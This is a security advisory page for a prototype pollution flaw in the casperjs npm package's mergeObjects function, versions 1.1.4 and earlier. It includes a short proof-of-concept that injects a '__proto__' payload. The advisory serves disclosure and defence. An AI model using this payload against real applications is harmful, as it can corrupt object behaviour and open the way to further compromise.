GHSA-vrr3-5r3v-7xfwHighCVSS 7.3

Improperly Controlled Modification of Dynamically-Determined Object Attributes in casperjs

Published
May 17, 2021
Last Modified
September 13, 2023

🔗 CVE IDs covered (1)

📋 Description

Overview

casperjs is a navigation scripting & testing utility for PhantomJS and SlimerJS.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeObjects utility function.

PoC

var payload = JSON.parse('{"__proto__": {"a": "pwned"}}');
mergeObjects({}, payload);
console.log({}.a); // prints "pwned"

🎯 Affected products1

  • npm/casperjs:<= 1.1.4

🔗 References (5)